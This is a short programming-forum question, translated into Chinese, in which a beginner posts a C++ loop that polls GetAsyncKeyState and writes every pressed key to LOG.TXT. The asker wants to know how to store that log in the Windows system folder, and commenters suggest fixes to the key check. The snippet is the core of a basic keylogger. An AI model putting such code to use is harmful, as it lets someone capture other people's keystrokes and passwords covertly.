【发布时间】:2013-06-09 20:05:37
【问题描述】:
我正在用 C++ 编程。我最近刚刚开始,我有这段代码可以将 LOG.TXT 保存到同一目录中。但是我如何将它保存到某个地方,例如。 c:\Windows\log.txt?
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save(i,"LOG.TXT");
}
}
【问题讨论】:
-
应该是
if (GetAsyncKeyState(i) & 0x8000),除非有更好的方法来检测至少不会耗尽所有 CPU 的按键。 -
克里斯,当我将 == -32767 替换为 & 0x8000 时,它会在 log.txt 文件中将每个字母写出 13 次。